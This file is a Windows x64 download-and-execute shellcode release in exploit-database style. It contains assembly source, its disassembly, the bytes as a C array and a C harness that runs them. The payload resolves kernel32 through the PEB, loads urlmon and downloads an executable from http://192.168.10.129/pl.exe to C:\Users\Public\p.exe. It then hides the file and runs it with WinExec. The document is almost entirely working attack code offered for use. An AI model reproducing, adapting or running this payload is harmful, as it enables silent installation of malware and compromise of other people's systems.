/*
# Title : Windows x64 Download+Execute Shellcode
# Author : Roziul Hasan Khan Shifat
# Date : 24-11-2016
# size : 358 bytes
# Tested on : Windows 7 x64 Professional
# Email : shifath12@gmail.com
*/
/*
section .text
global _start
_start:
;-----------------------------
sub rsp,88
lea r14,[rsp]
sub rsp,88
;------------------------------------------------
xor rdx,rdx
mov rax,[gs:rdx+0x60] ;PEB
mov rsi,[rax+0x18] ;PEB.Ldr
mov rsi,[rsi+0x10] ;PEB.Ldr->InMemOrderModuleList
lodsq
mov rsi,[rax]
mov rdi,[rsi+0x30] ;kernel32.dll base address
;---------------------------------------------------
mov ebx,[rdi+0x3c] ;elf_anew
add rbx,rdi
mov dl,0x88
mov ebx,[rbx+rdx]
add rbx,rdi
mov esi,[rbx+0x1c]
add rsi,rdi
;--------------------------------------------------
;loading urlmon.dll
mov dx,831
mov ebx,[rsi+rdx*4]
add rbx,rdi
xor rdx,rdx
mov [r14],dword 'urlm'
mov [r14+4],word 'on'
mov [r14+6],byte dl
lea rcx,[r14]
call rbx
mov dx,586
mov ebx,[rsi+rdx*4]
add rbx,rdi
xor rdx,rdx
mov rcx,'URLDownl'
mov [r14],rcx
mov rcx,'oadToFil'
mov [r14+8],rcx
mov [r14+16],word 'eA'
mov [r14+18],byte dl
lea rdx,[r14]
mov rcx,rax
call rbx
;;;;;;;;;;;;;;;;;;;;;;-------------------------------------
mov r15,rax
;------------------------------------------------
;save as 'C:\\Users\\Public\\p.exe' length: 24+1
mov rax,'C:\\User'
mov [r14],rax
mov rax,'s\\Publi'
mov [r14+8],rax
mov rax,'c\\p.exe'
mov [r14+16],rax
xor rdx,rdx
mov [r14+24],byte dl
;----------------------------------------
lea rcx,[r14+25]
;url "http://192.168.10.129/pl.exe" length: 28+1
mov rax,'http://1'
mov [rcx],rax
mov rax,'92.168.1'
mov [rcx+8],rax
mov rax,'0.129/pl'
mov [rcx+16],rax
mov [rcx+24],dword '.exe'
mov [rcx+28],byte dl
;---------------------------------------------------
sub rsp,88
download:
xor rcx,rcx
lea rdx,[r14+25]
lea r8,[r14]
xor r9,r9
mov [rsp+32],r9
call r15
xor rdx,rdx
cmp rax,rdx
jnz download
;------------------------------------------------
sub rsp,88
;-----------------------------------------------
;hiding file
mov dx,1131
mov ebx,[rsi+rdx*4]
add rbx,rdi ;SetFileAttributesA()
lea rcx,[r14]
xor rdx,rdx
mov dl,2
call rbx
;------------------------------------
;executing file
xor rdx,rdx
mov dx,1314
mov ebx,[rsi+rdx*4]
add rbx,rdi ;WinExec()
lea rcx,[r14]
xor rdx,rdx
call rbx
;------------------------------
xor rdx,rdx
mov dx,296
mov ebx,[rsi+rdx*4]
add rbx,rdi
;---------------------------------------
;if U use this shellcode for pe injection, then don't forget to free allocated space
add rsp,88
xor rcx,rcx
call rbx
*/
/*
Disassembly of section .text:
0000000000000000 <_start>:
0: 48 83 ec 58 sub $0x58,%rsp
4: 4c 8d 34 24 lea (%rsp),%r14
8: 48 83 ec 58 sub $0x58,%rsp
c: 48 31 d2 xor %rdx,%rdx
f: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax
14: 48 8b 70 18 mov 0x18(%rax),%rsi
18: 48 8b 76 10 mov 0x10(%rsi),%rsi
1c: 48 ad lods %ds:(%rsi),%rax
1e: 48 8b 30 mov (%rax),%rsi
21: 48 8b 7e 30 mov 0x30(%rsi),%rdi
25: 8b 5f 3c mov 0x3c(%rdi),%ebx
28: 48 01 fb add %rdi,%rbx
2b: b2 88 mov $0x88,%dl
2d: 8b 1c 13 mov (%rbx,%rdx,1),%ebx
30: 48 01 fb add %rdi,%rbx
33: 8b 73 1c mov 0x1c(%rbx),%esi
36: 48 01 fe add %rdi,%rsi
39: 66 ba 3f 03 mov $0x33f,%dx
3d: 8b 1c 96 mov (%rsi,%rdx,4),%ebx
40: 48 01 fb add %rdi,%rbx
43: 48 31 d2 xor %rdx,%rdx
46: 41 c7 06 75 72 6c 6d movl $0x6d6c7275,(%r14)
4d: 66 41 c7 46 04 6f 6e movw $0x6e6f,0x4(%r14)
54: 41 88 56 06 mov %dl,0x6(%r14)
58: 49 8d 0e lea (%r14),%rcx
5b: ff d3 callq *%rbx
5d: 66 ba 4a 02 mov $0x24a,%dx
61: 8b 1c 96 mov (%rsi,%rdx,4),%ebx
64: 48 01 fb add %rdi,%rbx
67: 48 31 d2 xor %rdx,%rdx
6a: 48 b9 55 52 4c 44 6f movabs $0x6c6e776f444c5255,%rcx
71: 77 6e 6c
74: 49 89 0e mov %rcx,(%r14)
77: 48 b9 6f 61 64 54 6f movabs $0x6c69466f5464616f,%rcx
7e: 46 69 6c
81: 49 89 4e 08 mov %rcx,0x8(%r14)
85: 66 41 c7 46 10 65 41 movw $0x4165,0x10(%r14)
8c: 41 88 56 12 mov %dl,0x12(%r14)
90: 49 8d 16 lea (%r14),%rdx
93: 48 89 c1 mov %rax,%rcx
96: ff d3 callq *%rbx
98: 49 89 c7 mov %rax,%r15
9b: 48 b8 43 3a 5c 5c 55 movabs $0x726573555c5c3a43,%rax
a2: 73 65 72
a5: 49 89 06 mov %rax,(%r14)
a8: 48 b8 73 5c 5c 50 75 movabs $0x696c6275505c5c73,%rax
af: 62 6c 69
b2: 49 89 46 08 mov %rax,0x8(%r14)
b6: 48 b8 63 5c 5c 70 2e movabs $0x6578652e705c5c63,%rax
bd: 65 78 65
c0: 49 89 46 10 mov %rax,0x10(%r14)
c4: 48 31 d2 xor %rdx,%rdx
c7: 41 88 56 18 mov %dl,0x18(%r14)
cb: 49 8d 4e 19 lea 0x19(%r14),%rcx
cf: 48 b8 68 74 74 70 3a movabs $0x312f2f3a70747468,%rax
d6: 2f 2f 31
d9: 48 89 01 mov %rax,(%rcx)
dc: 48 b8 39 32 2e 31 36 movabs $0x312e3836312e3239,%rax
e3: 38 2e 31
e6: 48 89 41 08 mov %rax,0x8(%rcx)
ea: 48 b8 30 2e 31 32 39 movabs $0x6c702f3932312e30,%rax
f1: 2f 70 6c
f4: 48 89 41 10 mov %rax,0x10(%rcx)
f8: c7 41 18 2e 65 78 65 movl $0x6578652e,0x18(%rcx)
ff: 88 51 1c mov %dl,0x1c(%rcx)
102: 48 83 ec 58 sub $0x58,%rsp
0000000000000106 <download>:
106: 48 31 c9 xor %rcx,%rcx
109: 49 8d 56 19 lea 0x19(%r14),%rdx
10d: 4d 8d 06 lea (%r14),%r8
110: 4d 31 c9 xor %r9,%r9
113: 4c 89 4c 24 20 mov %r9,0x20(%rsp)
118: 41 ff d7 callq *%r15
11b: 48 31 d2 xor %rdx,%rdx
11e: 48 39 d0 cmp %rdx,%rax
121: 75 e3 jne 106 <download>
123: 48 83 ec 58 sub $0x58,%rsp
127: 66 ba 6b 04 mov $0x46b,%dx
12b: 8b 1c 96 mov (%rsi,%rdx,4),%ebx
12e: 48 01 fb add %rdi,%rbx
131: 49 8d 0e lea (%r14),%rcx
134: 48 31 d2 xor %rdx,%rdx
137: b2 02 mov $0x2,%dl
139: ff d3 callq *%rbx
13b: 48 31 d2 xor %rdx,%rdx
13e: 66 ba 22 05 mov $0x522,%dx
142: 8b 1c 96 mov (%rsi,%rdx,4),%ebx
145: 48 01 fb add %rdi,%rbx
148: 49 8d 0e lea (%r14),%rcx
14b: 48 31 d2 xor %rdx,%rdx
14e: ff d3 callq *%rbx
150: 48 31 d2 xor %rdx,%rdx
153: 66 ba 28 01 mov $0x128,%dx
157: 8b 1c 96 mov (%rsi,%rdx,4),%ebx
15a: 48 01 fb add %rdi,%rbx
15d: 48 83 c4 58 add $0x58,%rsp
161: 48 31 c9 xor %rcx,%rcx
164: ff d3 callq *%rbx
*/
#include<windows.h>
#include<stdio.h>
#include<string.h>
char shellcode[]=\
"\x48\x83\xec\x58\x4c\x8d\x34\x24\x48\x83\xec\x58\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x8b\x5f\x3c\x48\x01\xfb\xb2\x88\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x66\xba\x3f\x03\x8b\x1c\x96\x48\x01\xfb\x48\x31\xd2\x41\xc7\x06\x75\x72\x6c\x6d\x66\x41\xc7\x46\x04\x6f\x6e\x41\x88\x56\x06\x49\x8d\x0e\xff\xd3\x66\xba\x4a\x02\x8b\x1c\x96\x48\x01\xfb\x48\x31\xd2\x48\xb9\x55\x52\x4c\x44\x6f\x77\x6e\x6c\x49\x89\x0e\x48\xb9\x6f\x61\x64\x54\x6f\x46\x69\x6c\x49\x89\x4e\x08\x66\x41\xc7\x46\x10\x65\x41\x41\x88\x56\x12\x49\x8d\x16\x48\x89\xc1\xff\xd3\x49\x89\xc7\x48\xb8\x43\x3a\x5c\x5c\x55\x73\x65\x72\x49\x89\x06\x48\xb8\x73\x5c\x5c\x50\x75\x62\x6c\x69\x49\x89\x46\x08\x48\xb8\x63\x5c\x5c\x70\x2e\x65\x78\x65\x49\x89\x46\x10\x48\x31\xd2\x41\x88\x56\x18\x49\x8d\x4e\x19\x48\xb8\x68\x74\x74\x70\x3a\x2f\x2f\x31\x48\x89\x01\x48\xb8\x39\x32\x2e\x31\x36\x38\x2e\x31\x48\x89\x41\x08\x48\xb8\x30\x2e\x31\x32\x39\x2f\x70\x6c\x48\x89\x41\x10\xc7\x41\x18\x2e\x65\x78\x65\x88\x51\x1c\x48\x83\xec\x58\x48\x31\xc9\x49\x8d\x56\x19\x4d\x8d\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x41\xff\xd7\x48\x31\xd2\x48\x39\xd0\x75\xe3\x48\x83\xec\x58\x66\xba\x6b\x04\x8b\x1c\x96\x48\x01\xfb\x49\x8d\x0e\x48\x31\xd2\xb2\x02\xff\xd3\x48\x31\xd2\x66\xba\x22\x05\x8b\x1c\x96\x48\x01\xfb\x49\x8d\x0e\x48\x31\xd2\xff\xd3\x48\x31\xd2\x66\xba\x28\x01\x8b\x1c\x96\x48\x01\xfb\x48\x83\xc4\x58\x48\x31\xc9\xff\xd3";
int main()
{
int len=strlen(shellcode);
DWORD l=0;
printf("shellcode length : %d\n",len);
VirtualProtect(shellcode,len,PAGE_EXECUTE_READWRITE,&l);
(* (int(*)()) shellcode)();
return 0;
}
